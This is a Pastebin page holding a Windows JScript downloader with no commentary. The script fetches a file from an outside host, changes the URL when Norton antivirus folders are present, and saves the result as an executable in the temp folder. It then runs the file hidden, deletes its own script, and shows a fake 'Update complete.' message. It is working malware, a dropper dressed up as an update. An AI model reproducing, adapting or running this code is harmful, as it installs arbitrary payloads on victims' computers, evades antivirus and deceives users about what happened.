Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- try {
- a = new ActiveXObject("Wscript.Shell");
- b = new ActiveXObject("Scripting.FileSystemObject");
- c = new ActiveXObject("MSXML2.XMLHTTP");
- d = new ActiveXObject("ADODB.Stream");
- url = "https://uabeeprozdravi.net/10/519.dat";
- var fso = new ActiveXObject("Scripting.FileSystemObject");
- var wssh = new ActiveXObject("WScript.Shell");
- var pr_dir = wssh.ExpandEnvironmentStrings("%PROGRAMFILES(x86)%");
- var all_dir = wssh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%");
- if ((fso.FolderExists(pr_dir + String.fromCharCode(92) + "NortonInstaller") == true) || (fso.FolderExists(all_dir + String.fromCharCode(92) + "Norton") == true)) url = url + "s";
- fname = b.GetSpecialFolder(2) + String.fromCharCode(92) + new Date().getTime() + ".exe";
- for (var i = 1; i <= 5; i++) {
- try {
- c.open("GET", url, false);
- c.send(null);
- break;
- } catch (e) {
- WScript.Sleep(5000);
- }
- }
- d.Open;
- d.Type = 1;
- d.Write(c.ResponseBody);
- d.Position = 0;
- if (b.Fileexists(fname)) b.DeleteFile(fname);
- d.SaveToFile(fname);
- a.run("cmd.exe /c " + String.fromCharCode(34) + fname + String.fromCharCode(34), 0, false);
- var p = WScript.ScriptFullName;
- if (b.FileExists(p)) b.DeleteFile(p);
- WScript.Echo("Update complete.");
- } catch (e) {}
Advertisement
Add Comment
Please, Sign In to add comment